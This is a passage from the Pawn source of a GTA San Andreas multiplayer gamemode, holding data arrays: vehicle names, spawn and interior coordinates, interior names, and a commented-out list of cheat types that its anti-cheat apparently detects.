{0.077905, 0.028523, 0.000000, 89.675476, 89.270309, 0.000000 },  // - 198
{0.099095, 0.022463, 0.000000, 89.675476, 89.270309, 0.000000 },  // - 199
{0.103182, 0.031106, 0.000000, 89.675476, 89.270309, 0.000000 },  // - 200
{0.078426, 0.038546, 0.000000, 89.675476, 89.270309, 0.000000 },  // - 201
{0.101092, 0.035797, -0.002997, 89.675476, 82.081153, 0.000000 }, // - 202
{0.092009, 0.042780, -0.005841, 89.675476, 84.463294, 0.000000 }, // - 203
{0.092009, 0.042780, -0.005841, 89.675476, 84.463294, 0.000000 }, // - 204
{0.092969, 0.027782, -0.002959, 89.675476, 84.463294, 0.000000 }, // - 205
{0.105109, 0.036128, -0.000471, 89.675476, 84.463294, 0.000000 }, // - 206
{0.066892, 0.024410, -0.002792, 89.675476, 84.463294, 0.000000 }, // - 207
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 208
{0.084046, 0.013608, -0.002792, 89.675476, 81.667831, 0.000000 }, // - 209
{0.084046, 0.013608, -0.001034, 89.675476, 81.667831, 0.000000 }, // - 210
{0.067610, 0.033777, -0.001034, 89.675476, 85.214485, 0.000000 }, // - 211
{0.094159, 0.020717, 0.000715, 89.675476, 85.214485, 0.000000 },  // - 212
{0.098744, 0.036786, -0.001770, 89.675476, 85.214485, 0.000000 }, // - 213
{0.068755, 0.036786, -0.001770, 89.675476, 85.214485, 0.000000 }, // - 214
{0.068755, 0.026863, -0.001770, 89.675476, 85.214485, 0.000000 }, // - 215
{0.068755, 0.026863, -0.001770, 89.675476, 85.214485, 0.000000 }, // - 216
{0.095765, 0.030034, -0.001770, 89.675476, 85.214485, 0.000000 }, // - 217
{0.085486, 0.039427, -0.003311, 89.675476, 85.214485, 0.000000 }, // - 218
{0.068874, 0.027850, -0.001021, 89.675476, 85.214485, 0.000000 }, // - 219
{0.052931, 0.050390, -0.002062, 89.675476, 88.113647, 0.000000 }, // - 220
{0.094479, 0.034432, 0.000875, 89.675476, 83.572830, 0.000000 },  // - 221
{0.094479, 0.034432, -0.000596, 89.675476, 83.572830, 0.000000 }, // - 222
{0.094479, 0.062073, -0.003098, 89.675476, 83.572830, 0.000000 }, // - 223
{0.064458, 0.029760, -0.001460, 89.675476, 83.572830, 0.000000 }, // - 224
{0.064458, 0.029760, -0.001460, 89.675476, 83.572830, 0.000000 }, // - 225
{0.072095, 0.029760, -0.001460, 89.675476, 83.572830, 0.000000 }, // - 226
{0.110619, 0.043037, -0.001466, 89.675476, 86.927627, 0.000000 }, // - 227
{0.099446, 0.050772, -0.001466, 89.675476, 85.103805, 0.000000 }, // - 228
{0.078635, 0.023680, -0.000275, 89.675476, 73.445220, 0.000000 }, // - 229
{0.043357, 0.028726, -0.000275, 89.675476, 73.445220, 0.000000 }, // - 230
{0.092488, 0.049972, -0.000275, 89.675476, 88.981941, 0.000000 }, // - 231
{0.092488, 0.016739, -0.000275, 89.675476, 88.981941, 0.000000 }, // - 232
{0.071677, 0.037055, -0.002878, 89.675476, 88.981941, 0.000000 }, // - 233
{0.082745, 0.004209, -0.002878, 89.675476, 88.981941, 0.000000 }, // - 234
{0.057909, 0.021331, -0.002878, 89.675476, 88.981941, 0.000000 }, // - 235
{0.079016, 0.021331, -0.000419, 89.675476, 77.678733, 0.000000 }, // - 236
{0.074572, 0.021331, -0.000419, 89.675476, 84.527442, 0.000000 }, // - 237
{0.074572, 0.038346, -0.001500, 89.675476, 84.527442, 0.000000 }, // - 238
{0.111645, 0.011549, 0.006237, 89.675476, 84.527442, 0.000000 },  // - 239
{0.090766, 0.044221, -0.000423, 89.675476, 89.461883, 0.000000 }, // - 240
{0.069491, 0.049021, -0.000423, 89.675476, 89.461883, 0.000000 }, // - 241
{0.059706, 0.031911, -0.000423, 89.675476, 89.461883, 0.000000 }, // - 242
{0.065242, 0.031911, -0.000423, 89.675476, 89.461883, 0.000000 }, // - 243
{0.065242, 0.051077, -0.001103, 89.675476, 89.461883, 0.000000 }, // - 244
{0.082393, 0.038233, 0.000410, 89.675476, 89.461883, 0.000000 },  // - 245
{0.079338, 0.044859, -0.002535, 89.675476, 89.461883, 0.000000 }, // - 246
{0.101566, 0.037019, 0.000750, 89.675476, 83.514060, 0.000000 },  // - 247
{0.091887, 0.047776, -0.000040, 89.675476, 83.514060, 0.000000 }, // - 248
{0.089745, 0.044044, 0.004071, 89.675476, 83.514060, 0.000000 },  // - 249
{0.094214, 0.044044, -0.007274, 89.675476, 83.514060, 0.000000 }, // - 250
{0.072282, 0.044044, -0.001468, 89.675476, 90.444763, 0.000000 }, // - 251
{0.095764, 0.034224, -0.000264, 89.675476, 82.959915, 0.000000 }, // - 252
{0.087454, 0.026208, -0.000264, 89.675476, 82.959915, 0.000000 }, // - 253
{0.099198, 0.037362, -0.000264, 89.675476, 82.959915, 0.000000 }, // - 254
{0.070845, 0.019943, 0.003505, 89.675476, 73.529716, 0.000000 },  // - 255
{0.065373, 0.033656, -0.001141, 89.675476, 83.002151, 0.000000 }, // - 256
{0.070077, 0.033656, -0.001141, 89.675476, 83.002151, 0.000000 }, // - 257
{0.089536, 0.041904, 0.000715, 89.675476, 83.002151, 0.000000 },  // - 258
{0.084822, 0.041904, 0.000715, 89.675476, 83.002151, 0.000000 },  // - 259
{0.093009, 0.031491, -0.001568, 89.675476, 83.002151, 0.000000 }, // - 260
{0.093009, 0.015023, -0.001477, 89.675476, 83.002151, 0.000000 }, // - 261
{0.076580, 0.039782, -0.001477, 89.675476, 88.620780, 0.000000 }, // - 262
{0.076580, 0.028967, -0.001477, 89.675476, 88.620780, 0.000000 }, // - 263
{0.075424, 0.043059, -0.001477, 89.675476, 88.620780, 0.000000 }, // - 264
{0.089655, 0.021726, -0.001477, 89.675476, 88.620780, 0.000000 }, // - 265
{0.096792, 0.014114, -0.003062, 89.675476, 85.166038, 0.000000 }, // - 266
{0.094886, 0.024989, -0.003184, 89.675476, 85.166038, 0.000000 }, // - 267
{0.094886, 0.024989, -0.003184, 89.675476, 85.166038, 0.000000 }, // - 268
{0.102252, 0.024989, -0.003184, 89.675476, 85.166038, 0.000000 }, // - 269
{0.102252, 0.024989, 0.000529, 89.675476, 85.166038, 0.000000 },  // - 270
{0.096134, 0.025462, 0.000529, 89.675476, 79.225112, 0.000000 },  // - 271
{0.099226, 0.032663, 0.000529, 89.675476, 79.225112, 0.000000 },  // - 272
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 273
{0.089833, 0.022466, -0.001590, 89.675476, 88.636062, 0.000000 }, // - 274
{0.089833, 0.022466, -0.001590, 89.675476, 88.636062, 0.000000 }, // - 275
{0.089833, 0.022466, -0.001590, 89.675476, 88.636062, 0.000000 }, // - 276
{0.082718, 0.062596, -0.000201, 89.675476, 88.636062, 0.000000 }, // - 277
{0.082718, 0.062596, -0.000201, 89.675476, 88.636062, 0.000000 }, // - 278
{0.087652, 0.059379, -0.000201, 89.675476, 88.636062, 0.000000 }, // - 279
{0.087652, 0.023702, -0.003091, 89.675476, 88.636062, 0.000000 }, // - 280
{0.087652, 0.023702, -0.003091, 89.675476, 88.636062, 0.000000 }, // - 281
{0.090877, 0.026643, -0.003091, 89.675476, 88.636062, 0.000000 }, // - 282
{0.090877, 0.026643, -0.003091, 89.675476, 88.636062, 0.000000 }, // - 283
{0.090877, 0.053674, 0.009879, 89.675476, 88.636062, 0.000000 },  // - 284
{0.104320, 0.041487, 0.008021, 89.675476, 88.636062, 0.000000 },  // - 285
{0.087062, 0.021779, -0.003307, 89.675476, 88.636062, 0.000000 }, // - 286
{0.073173, 0.048856, 0.005337, 89.675476, 92.561180, 0.000000 },  // - 287
{0.090294, 0.027592, -0.003497, 89.675476, 92.561180, 0.000000 }, // - 288
{0.0, 0.0, 0.0, 0.0, 0.0, 0.0},                                   // - 289
{0.086562, 0.042698, -0.000612, 89.675476, 92.561180, 0.000000 }, // - 290
{0.096768, 0.039233, -0.000612, 89.675476, 83.550270, 0.000000 }, // - 291
{0.079939, 0.020731, -0.005162, 89.675476, 83.550270, 0.000000 }, // - 292
{0.097107, 0.027826, -0.005162, 89.675476, 88.505996, 0.000000 }, // - 293
{0.097107, 0.037636, 0.000618, 89.675476, 88.505996, 0.000000 },  // - 294
{0.079985, 0.035006, -0.000826, 89.675476, 87.533462, 0.000000 }, // - 295
{0.088445, 0.024209, -0.002076, 89.675476, 73.285072, 0.000000 }, // - 296
{0.094039, 0.035411, 0.000490, 89.675476, 84.277572, 0.000000 },  // - 297
{0.099553, 0.024683, -0.002919, 89.675476, 84.277572, 0.000000 }, // - 298
{0.099553, 0.044356, -0.000285, 89.675476, 84.277572, 0.000000 }  // - 299
},*/
	  aVehicleNames[212][] =
	  {
		  {"Landstalker"},
		  {"Bravura"},
		  {"Buffalo"},
		  {"Linerunner"},
		  {"Perrenial"},
		  {"Sentinel"},
		  {"Dumper"},
		  {"Firetruck"},
		  {"Trashmaster"},
		  {"Stretch"},
		  {"Manana"},
		  {"Infernus"},
		  {"Voodoo"},
		  {"Pony"},
		  {"Mule"},
		  {"Cheetah"},
		  {"Ambulance"},
		  {"Leviathan"},
		  {"Moonbeam"},
		  {"Esperanto"},
		  {"Taxi"},
		  {"Washington"},
		  {"Bobcat"},
		  {"Mr Whoopee"},
		  {"BF Injection"},
		  {"Hunter"},
		  {"Premier"},
		  {"Enforcer"},
		  {"Securicar"},
		  {"Banshee"},
		  {"Predator"},
		  {"Bus"},
		  {"Rhino"},
		  {"Barracks"},
		  {"Hotknife"},
		  {"Trailer 1"},
		  {"Previon"},
		  {"Coach"},
		  {"Cabbie"},
		  {"Stallion"},
		  {"Rumpo"},
		  {"RC Bandit"},
		  {"Romero"},
		  {"Packer"},
		  {"Monster"},
		  {"Admiral"},
		  {"Squalo"},
		  {"Seasparrow"},
		  {"Pizzaboy"},
		  {"Tram"},
		  {"Trailer 2"},
		  {"Turismo"},
		  {"Speeder"},
		  {"Reefer"},
		  {"Tropic"},
		  {"Flatbed"},
		  {"Yankee"},
		  {"Caddy"},
		  {"Solair"},
		  {"Berkley's RC Van"},
		  {"Skimmer"},
		  {"PCJ-600"},
		  {"Faggio"},
		  {"Freeway"},
		  {"RC Baron"},
		  {"RC Raider"},
		  {"Glendale"},
		  {"Oceanic"},
		  {"Sanchez"},
		  {"Sparrow"},
		  {"Patriot"},
		  {"Quad"},
		  {"Coastguard"},
		  {"Dinghy"},
		  {"Hermes"},
		  {"Sabre"},
		  {"Rustler"},
		  {"ZR-350"},
		  {"Walton"},
		  {"Regina"},
		  {"Comet"},
		  {"BMX"},
		  {"Burrito"},
		  {"Camper"},
		  {"Marquis"},
		  {"Baggage"},
		  {"Dozer"},
		  {"Maverick"},
		  {"News Chopper"},
		  {"Rancher"},
		  {"FBI-Rancher"},
		  {"Virgo"},
		  {"Greenwood"},
		  {"Jetmax"},
		  {"Hotring"},
		  {"Sandking"},
		  {"Blista Compact"},
		  {"Police Maverick"},
		  {"Boxville"},
		  {"Benson"},
		  {"Mesa"},
		  {"RC Goblin"},
		  {"Hotring Racer A"},
		  {"Hotring Racer B"},
		  {"Bloodring Banger"},
		  {"Rancher"},
		  {"Super GT"},
		  {"Elegant"},
		  {"Journey"},
		  {"Bike"},
		  {"Mountain Bike"},
		  {"Beagle"},
		  {"Cropdust"},
		  {"Stunt"},
		  {"Tanker"},
		  {"Roadtrain"},
		  {"Nebula"},
		  {"Majestic"},
		  {"Buccaneer"},
		  {"Shamal"},
		  {"Hydra"},
		  {"FCR-900"},
		  {"NRG-500"},
		  {"HPV1000"},
		  {"Cement Truck"},
		  {"Tow Truck"},
		  {"Fortune"},
		  {"Cadrona"},
		  {"FBI-Truck"},
		  {"Willard"},
		  {"Forklift"},
		  {"Tractor"},
		  {"Combine"},
		  {"Feltzer"},
		  {"Remington"},
		  {"Slamvan"},
		  {"Blade"},
		  {"Freight"},
		  {"Streak"},
		  {"Vortex"},
		  {"Vincent"},
		  {"Bullet"},
		  {"Clover"},
		  {"Sadler"},
		  {"Firetruck LA"},
		  {"Hustler"},
		  {"Intruder"},
		  {"Primo"},
		  {"Cargobob"},
		  {"Tampa"},
		  {"Sunrise"},
		  {"Merit"},
		  {"Utility"},
		  {"Nevada"},
		  {"Yosemite"},
		  {"Windsor"},
		  {"Monster A"},
		  {"Monster B"},
		  {"Uranus"},
		  {"Jester"},
		  {"Sultan"},
		  {"Stratum"},
		  {"Elegy"},
		  {"Raindance"},
		  {"RC Tiger"},
		  {"Flash"},
		  {"Tahoma"},
		  {"Savanna"},
		  {"Bandito"},
		  {"Freight Flat"},
		  {"Streak Carriage"},
		  {"Kart"},
		  {"Mower"},
		  {"Duneride"},
		  {"Sweeper"},
		  {"Broadway"},
		  {"Tornado"},
		  {"AT-400"},
		  {"DFT-30"},
		  {"Huntley"},
		  {"Stafford"},
		  {"BF-400"},
		  {"News Van"},
		  {"Tug"},
		  {"Trailer 3"},
		  {"Emperor"},
		  {"Wayfarer"},
		  {"Euros"},
		  {"Hotdog"},
		  {"Club"},
		  {"Freight Carriage"},
		  {"Trailer 3"},
		  {"Andromada"},
		  {"Dodo"},
		  {"RC Cam"},
		  {"Launch"},
		  {"Police-LSPD"},
		  {"Police-SFPD"},
		  {"Police-LVPD"},
		  {"Police-Ranger"},
		  {"Picador"},
		  {"S.W.A.T. Van"},
		  {"Alpha"},
		  {"Phoenix"},
		  {"Glendale"},
		  {"Sadler"},
		  {"Luggage Trailer A"},
		  {"Luggage Trailer B"},
		  {"Stair Trailer"},
		  {"Boxville"},
		  {"Farm Plow"},
		  {"Utility Trailer"}
	  },
	  /*
	   CheatName[53][] =
	  {
		  {"AirBreak (onfoot)"},
			{"AirBreak (in vehicle)"},
			{"Teleport hack (onfoot)"},
			{"Teleport hack (in vehicle)"},
		{"Teleport hack (into/between vehicles)"},
			{"Teleport hack (vehicle to player)"},
			{"Teleport hack (pickups)"},
			{"FlyHack (onfoot)"},
			{"FlyHack (in vehicle)"},
			{"SpeedHack (onfoot)"},
			{"SpeedHack (in vehicle)"},
			{"Health hack (in vehicle)"},
			{"Health hack (onfoot)"},
			{"Armour hack"},
			{"Money hack"},
			{"Weapon hack"},
			{"Ammo hack (add)"},
			{"Ammo hack (infinite)"},
			{"Special actions hack"},
			{"GodMode from bullets (onfoot"},
			{"GodMode from bullets (in vehicle)"},
			{"Invisible hack"},
			{"lagcomp-spoof"},
			{"Tuning hack"},
			{"Parkour mod"},
			{"Quick turn"},
			{"Rapid fire"},
			{"FakeSpawn"},
			{"FakeKill"},
			{"Pro Aim"},
			{"CJ run"},
			{"CarShot"},
			{"CarJack"},
			{"UnFreeze"},
			{"AFK Ghost"},
			{"Full Aiming"},
			{"Fake NPC"},
		{"Reconnect"},
			{"High ping"},
			{"Dialog hack"},
			{"Protection from the sandbox"},
		{"Protection against an invalid version"},
			{"Rcon hack"},
			{"Tuning crasher"},
			{"Invalid seat crasher"},
			{"Dialog crasher"},
			{"Attached object crasher"},
			{"Weapon Crasher"},
			{"Flood protection connects to one slot"},
			{"flood callback functions"},
		{"flood change seat"},
			{"Ddos"},
			{"NOP's"}
	  },
	  */
	  Music[MAX_PLAYERS],
	  OnSpeedc[MAX_PLAYERS],
	  SpeedTimer[MAX_PLAYERS],
	  bool:SpeedTimerUsed[MAX_PLAYERS],
	  Float:PaintballSpawns[7][3] =
	  {
		  {-394.8027,2232.2317,42.4297},
		  {-430.8412,2240.5371,42.9834},
		  {-369.2361,2248.3127,42.4844},
		  {-350.8910,2218.0215,42.4912},
		  {-384.0544,2206.2908,42.4235},
		  {-395.7100,2214.9480,42.4297},
		  {-445.3718,2222.5481,42.4297}
	  },
			Float:CarSpawn[10][3] =
	  {
		{1561.119750,-2309.014648,13.144052},
		{1561.079101,-2312.241943,13.144052},
		{1561.061523,-2315.463134,13.144052},
		{1561.071289,-2318.999755,13.144052},
		{1560.852905,-2321.890625,13.144052},
		{1560.782104,-2325.338134,13.144052},
		{1560.743530,-2328.693847,13.144052},
		{1560.913085,-2331.875000,13.144052},
		{1560.724609,-2335.179931,13.144052},
		{1560.783813,-2338.635986,13.144052}
	  },
	  PaintBallWinner = INVALID_PLAYER_ID,
	  PaintballStarted,
	  PaintBallPlayers,
	  PaintBallStarting,
	  PaintBallLeadKills,
	   SpecColor[MAX_PLAYERS],
	   FlyHack[MAX_PLAYERS],
	   AirBrk[MAX_PLAYERS],
	   TPHack[MAX_PLAYERS],
	  OnPaintBall[MAX_PLAYERS],
	  PaintBallKills[MAX_PLAYERS],
	  PaintBallDeath[MAX_PLAYERS],
	  PTime,
	  PFTime,
	  KartingPlayers,
	  OnKarting[MAX_PLAYERS],
	  KartingPlayerTime[MAX_PLAYERS],
	  /*
	  Float:gInviteSpawns[10][4] =
	  {
		  {-1976.5912,166.1818,36.9623,272.6393},
		  {-1975.8610,162.1945,36.9623,272.0126},
		  {-1975.7461,157.5404,36.9623,276.1093},
		  {-1975.2136,151.4920,36.9623,268.2993},
		  {-1974.9963,145.3430,36.9623,269.2628},
		  {-1975.5842,140.8170,36.9623,269.8895},
		  {-1975.7874,134.0368,36.9623,271.7696},
		  {-1975.1681,129.0926,36.9623,270.8531},
		  {-1975.9069,121.4700,36.9623,270.5631},
		  {-1975.3311,112.7078,36.9623,267.7665}
	  },
	  */
	  TurfInfo[49][zInfo],
	  Turfs[49],
	  TurfsX[sizeof(Turfs)],
	  //TurfBorderID[49],
	  ServerTurf =9999,
	  PlayerInfo[MAX_PLAYERS][pInfo],
	  MeetInfo[20][miInfo],
	  CodeInfo[codeInfo],
	   fInfo[MAX_PLAYERS][Friends],
	   spInfo[50][Sprays],
	   vInfo[MAX_VEHICLES][Vehicles],
	  unsentwep[MAX_PLAYERS],
	  HouseInfo[1100][hInfo],
	  BizzInfo[85][bInfo],
	  SBizzInfo[37][sbInfo],
	  PlayerHaul[113][pHaul],
	  PaymecTime[MAX_PLAYERS],
	  HealthTimer[MAX_PLAYERS],
	  //TeshneTimer[MAX_PLAYERS],
	  //GoshneTimer[MAX_PLAYERS],
	  adtimer = 0,
	  adtimerplayer[MAX_PLAYERS],
	 /* JoinPed[89][1] =
	  {
		  {280},//POLICE_FORCE
		  {281},
		  {282},
		  {283},
		  {284},
		  {285},
		  {288},
		  {71},
		  {55},
		  {286},//FBI/ATF10
		  {164},
		  {163},
		  {93},
		  {165},
		  {166},
		  {93},//NATIONAL_GUARD
		  {285},
		  {141},//FIRE/AMBULANCE
		  {274},
		  {275},
		  {276},
		  {277},
		  {278},
		  {279},
		  {219},
		  {56},//Da Nang Boys
		  {191},
		  {194},
		  {192},
		  {195},
		  {190},
		  {193},
		  {233},//Triads
		  {98},
		  {290},
		  {46},
		  {117},
		  {120},
		  {117},//HITMANS
		  {118},
		  {120},
		  {186},
		  {211},
		  {240},
		  {148},//NEWS_REPORTERS
		  {188},
		  {187},
		  {190},
		  {255},//TAXI_CAB_COMPANY
		  {253},
		  {261},
		  {61},
		  {56},
		  {153},//DRIVING/FLYING_SCHOOL
		  {194},//driving/school
		  {60},//school
		  {259},//school:|
		  {105},//Grove Street === sabz-GroveStreet
		  {106},
		  {107},
		  {269},
		  {270},
		  {271},
		  {292},
		  {65},
		  {122},//Vagos == Zard
		  {125},
		  {126},
		  {272},
		  {127},
		  {112},
		  {103},
		  {104},//patreno === soorati == ballas
		  {102},
		  {296},
		  {223},
		  {296},
		  {195},
		  {173},//VLA
		  {174},
		  {175},
		  {114},
		  {116},
		  {116},
		  {214},
		  {50},//TCC
		  {42},
		  {8},
		  {225}

	  },*/
	  Float:IntArray[146][4] =
	  {
		  {2003.12,1015.19,33.01,351.58},{770.8,-0.7,1000.73,22.86},{974.02,-9.59,1001.15,22.6},{961.93,-51.91,1001.12,95.54},{830.6,5.94,1004.18,125.81},
		  {1037.83,0.4,1001.28,353.93},{1212.15,-28.54,1000.95,170.57},{1290.41,1.95,1001.02,179.94},{1412.15,-2.28,1000.92,114.66},{1527.05,-12.02,1002.1,350.0},
		  {1523.51,-47.82,1002.27,262.7},{612.22,-123.9,997.99,266.57},{512.93,-11.69,1001.57,198.77},{418.47,-80.46,1001.8,343.24},{386.53,173.64,1008.38,63.74},
		  {288.47,170.06,1007.18,22.05},{206.46,-137.71,1003.09,10.93},{-100.27,-22.94,1000.72,17.29},{-201.22,-43.25,1002.27,45.86},{-202.94,-6.7,1002.27,204.27},
		  {-25.72,-187.82,1003.55,5.08},{454.99,-107.25,999.44,309.02},{372.56,-131.36,1001.49,354.23},{378.03,-190.52,1000.63,141.02},{315.24,-140.89,999.6,7.42},
		  {225.03,-9.18,1002.22,85.53},{611.35,-77.56,998.0,320.93},{246.07,108.97,1003.22,0.29},{6.09,-28.9,1003.55,5.04},{773.73,-74.7,1000.65,5.23},{621.45,-23.73,1000.92,15.68},
		  {445.6,-6.98,1000.73,172.21},{285.84,-39.02,1001.52,0.75},{204.12,-46.8,1001.8,357.58},{245.23,304.76,999.15,273.44},{290.62,309.06,999.15,89.92},{322.5,303.69,999.15,8.17},
		  {-2041.23,178.4,28.85,156.22},{-1402.66,106.39,1032.27,105.14},{-1403.01,-250.45,1043.53,355.86},{1204.67,-13.54,1000.92,350.02},{2016.12,1017.15,996.88,88.01},
		  {-741.85,493.0,1371.98,71.78},{2447.87,-1704.45,1013.51,314.53},{2527.02,-1679.21,1015.5,260.97},{-1129.89,1057.54,1346.41,274.53},{2496.05,-1695.17,1014.74,179.22},
		  {366.02,-73.35,1001.51,292.01},{2233.94,1711.8,1011.63,184.39},{269.64,305.95,999.15,215.66},{414.3,-18.8,1001.8,41.43},{1.19,-3.24,999.43,87.57},{-30.99,-89.68,1003.55,359.84},
		  {161.4,-94.24,1001.8,0.79},{-2638.82,1407.34,906.46,94.68},{1267.84,-776.96,1091.91,231.34},{2536.53,-1294.84,1044.13,254.95},{2350.16,-1181.07,1027.98,99.19},
		  {-2158.67,642.09,1052.38,86.54},{419.89,2537.12,10.0,67.65},{256.9,-41.65,1002.02,85.88},{204.17,-165.77,1000.52,181.76},{1133.35,-7.85,1000.68,165.85},{-1420.43,1616.92,1052.53,159.13},
		  {493.14,-24.26,1000.68,356.99},{1727.29,-1642.95,20.23,172.42},{-202.84,-24.03,1002.27,252.82},{2233.69,-1112.81,1050.88,8.65},{1211.25,1049.02,359.94,170.93},
		  {2319.13,-1023.96,1050.21,167.4},{2261.1,-1137.88,1050.63,266.88},{-944.24,1886.15,5.01,179.85},{-26.19,-140.92,1003.55,2.91},{2217.28,-1150.53,1025.8,273.73},
		  {1.55,23.32,1199.59,359.91},{681.62,-451.89,-25.62,166.17},{234.61,1187.82,1080.26,349.48},{225.57,1240.06,1082.14,96.29},{224.29,1289.19,1082.14,359.87},
		  {239.28,1114.2,1080.99,270.27},{207.52,-109.74,1005.13,358.62},{295.14,1473.37,1080.26,352.95},{-1417.89,932.45,1041.53,0.7},{446.32,509.97,1001.42,330.57},
		  {2306.38,-15.24,26.75,274.49},{2331.9,6.78,26.5,100.24},{663.06,-573.63,16.34,264.98},{-227.57,1401.55,27.77,269.3},{-688.15,942.08,13.63,177.66},{-1916.13,714.86,46.56,152.28},
		  {818.77,-1102.87,25.79,91.14},{255.21,-59.68,1.57,1.46},{446.63,1397.74,1084.3,343.96},{227.39,1114.66,1081.0,267.46},{227.76,1114.38,1080.99,266.26},{261.12,1287.22,1080.26,178.91},
		  {291.76,-80.13,1001.52,290.22},{449.02,-88.99,999.55,89.66},{-27.84,-26.67,1003.56,184.31},{2135.2,-2276.28,20.67,318.59},{306.2,307.82,1003.3,203.14},{24.38,1341.18,1084.38,8.33},
		  {963.06,2159.76,1011.03,175.31},{2548.48,2823.74,10.82,270.6},{215.15,1874.06,13.14,177.55},{221.68,1142.5,1082.61,184.96},{2323.71,-1147.65,1050.71,206.54},{345.0,307.18,999.16,193.64},
		  {411.97,-51.92,1001.9,173.34},{-1421.56,-663.83,1059.56,170.93},{773.89,-47.77,1000.59,10.72},{246.67,65.8,1003.64,7.96},{-1864.94,55.73,1055.53,85.85},
		  {-262.18,1456.62,1084.37,82.46},{22.86,1404.92,1084.43,349.62},{140.37,1367.88,1083.86,349.24},{1494.86,1306.48,1093.3,196.07},{-1813.21,-58.01,1058.96,335.32},
		  {-1401.07,1265.37,1039.87,178.65},{234.28,1065.23,1084.21,4.39},{-68.51,1353.85,1080.21,3.57},{-2240.1,136.97,1035.41,269.1},{297.14,-109.87,1001.52,20.23},
		  {316.5,-167.63,999.59,10.3},{-285.25,1471.2,1084.38,85.65},{-26.83,-55.58,1003.55,3.95},{442.13,-52.48,999.72,177.94},{2182.2,1628.58,1043.87,224.86},{748.46,1438.24,1102.95,0.61},
		  {2807.36,-1171.7,1025.57,193.71},{366.0,-9.43,1001.85,160.53},{2216.13,-1076.31,1050.48,86.43},{2268.52,1647.77,1084.23,99.73},{2236.7,-1078.95,1049.02,2.57},
		  {-2031.12,-115.83,1035.17,190.19},{2365.11,-1133.08,1050.88,177.39},{1168.51,1360.11,10.93,196.59},{315.45,976.6,1960.85,359.64},{1893.07,1017.9,31.88,86.1},
		  {501.96,-70.56,998.76,171.57},{-42.53,1408.23,1084.43,172.07},{2283.31,1139.31,1050.9,19.7},{84.92,1324.3,1083.86,159.56},{260.74,1238.23,1084.26,84.31},
		  {-1658.17,1215.0,7.25,103.91},{-1961.63,295.24,35.47,264.49}
	  },
	  IntArray2[146][1] =
	  {
		  {11},{5},{3},{3},{3},{3},{3},{18},{1},{3},{2},{3},{3},{3},{3},{3},{3},{3},{3},{17},{17},{5},{5},{17},{7},{5},
		  {2},{10},{10},{7},{1},{1},{1},{1},{1},{3},{5},{1},{1},{7},{2},{10},{1},{2},{1},{10},{3},{10},{1},{2},{2},{2},
		  {18},{18},{3},{5},{2},{5},{1},{10},{14},{14},{12},{14},{17},{18},{16},{5},{6},{9},{10},{17},{16},{15},{1},{1},
		  {3},{2},{1},{5},{15},{15},{15},{12},{0},{0},{0},{18},{0},{0},{0},{0},{2},{5},{5},{4},{4},{4},{4},{0},{4},{10},
		  {1},{0},{0},{4},{12},{6},{12},{4},{6},{6},{14},{4},{5},{5},{3},{14},{16},{6},{6},{6},{6},{6},{15},{6},{6},{2},
		  {6},{8},{9},{1},{1},{2},{3},{8},{0},{9},{10},{11},{8},{11},{9},{9},{0},{0}
	  },
	  /* PasswordRecovery[10][] =
	  {
		  {"hellorrr"},{"passwordrand1"},{"itisnewpassword"},{"Azin Game Gamingpass"},{"itisnicepw"},{"iranianlove"},{"randompassword2"},{"rpwx"},{"zzzzpwd"},{"randm"}
	  },*/
	  IntName[146][] =
	  {
		  "Four Dragons Managerial Suite",
		  "Ganton Gym",
		  "Brothel",
		  "Brothel2",
		  "Inside Track Betting",
		  "Blastin  Fools Records",
		  "The Big Spread Ranch",
		  "Warehouse1 ",
		  "Warehouse2 ",
		  "B Dup s Apartment",
		  "B Dup s Crack Palace",
		  "Wheel Arch Angels",
		  "OG Loc s House",
		  "Barber Shop",
		  "Planning Department",
		  "Las Venturas Police Department",
		  "Pro-Laps",
		  "Sex Shop",
		  "Las Venturas Tattoo parlor",
		  "Lost San Fierro Tattoo",
		  "24/07/09 (version 1)",
		  "Diner1 ",
		  "Pizza Stack",
		  "Rusty Brown s Donuts",
		  "Ammu-nation",
		  "Victim",
		  "Loco Low Co",
		  "San Fierro Police Department",
		  "24/07/09 (version 2)",
		  "Below The Belt Gym",
		  "Transfenders",
		  "World of Coq",
		  "Ammu-nation (version 2)",
		  "SubUrban",
		  "Denise s Bedroom",
		  "Helena s Barn",
		  "Barbara s Love nest",
		  "San Fierro Garage",
		  "Oval Stadium",
		  "8-Track Stadium",
		  "The Pig Pen (strip",
		  "Four Dragons",
		  "Liberty City",
		  "Ryder s house",
		  "Sweet s House",
		  "RC Battlefield",
		  "The Johnson House",
		  "Burger shot",
		  "Caligula s Casino",
		  "Katie s Lovenest",
		  "Barber Shop2 (Reece s)",
		  "Angel Pine Trailer",
		  "24/07/09 (version 3)",
		  "Zip",
		  "The Pleasure Domes",
		  "Madd Dogg s Mansion",
		  "Big Smoke s Crack Palace",
		  "Burning Desire Building",
		  "Wu-Zi Mu s",
		  "Abandoned AC tower",
		  "Wardrobe/Changing room",
		  "Didier Sachs",
		  "Casino (Redsands West)",
		  "Kickstart Stadium",
		  "Club",
		  "Atrium",
		  "Los Santos Tattoo Parlor",
		  "Safe House group1 ",
		  "Safe House group2 ",
		  "Safe House group3 ",
		  "Safe House group4 ",
		  "Sherman Dam",
		  "24/07/09 (version 4)",
		  "Jefferson Motel",
		  "Jet Interior",
		  "The Welcome Pump",
		  "Burglary House X1",
		  "Burglary House X2",
		  "Burglary House X3",
		  "Burglary House X4",
		  "Binco",
		  "4 Burglary houses",
		  "Blood Bowl Stadium",
		  "Budget Inn Motel Room",
		  "Palamino Bank",
		  "Palamino Diner",
		  "Dillimore Gas Station",
		  "Lil  Probe Inn",
		  "Torreno s Ranch",
		  "Zombotech - lobby area",
		  "Crypt in LS cemetery",
		  "Blueberry Liquor Store",
		  "Pair of Burglary Houses",
		  "Crack Den",
		  "Burglary House X11",
		  "Burglary House X12",
		  "Ammu-nation (version 3)",
		  "Jay s Diner",
		  "24/07/09 (version 5)",
		  "Warehouse3 ",
		  "Michelle s Love Nest*",
		  "Burglary House X14",
		  "Sindacco Abatoir",
		  "K.A.C.C. Military Fuels Depot",
		  "Area69 ",
		  "Burglary House X13",
		  "Unused Safe House",
		  "Millie s Bedroom",
		  "Barber Shop",
		  "Dirtbike Stadium",
		  "Cobra Gym",
		  "Los Santos Police Department",
		  "Los Santos Airport",
		  "Burglary House X15",
		  "Burglary House X16",
		  "Burglary House X17",
		  "Bike School",
		  "Francis International Airport",
		  "Vice Stadium",
		  "Burglary House X18",
		  "Burglary House X19",
